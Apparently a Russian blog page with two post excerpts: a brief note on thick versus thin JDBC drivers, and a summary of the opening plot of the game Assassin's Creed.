JDBC имеет четыре типа драйверов для работы с БД (библиотеки java.sql и javax.sql) - т.н. толстые (нуждающиеся в дополнительных библиотеках - OCI к примеру) и тонкие (написанные полностью на java - thin). Рекомендуется использовать thin-драйверы. От этого часто говорят о "тонком клиенте".

Assasins Creed

· 4 мин. чтения

Игрушка по вводному сюжету схожая с Timeshift - учёный-идеалист Vidic из фармацевтической компании Abstergo Industries (лат. "очищать") находит главного героя - бармена Desmond'а, убежавшего с фермы сектантов, который в прошлой жизни был клановым наёмным убийцей. Благодаря специальному устройству Animus (лат. дух), теперь можно прочитать генетическую память из прошлого, а самому герою - Альтаиру прийдётся пережить приключения в "центре мира" 1191 года - на Священной земле.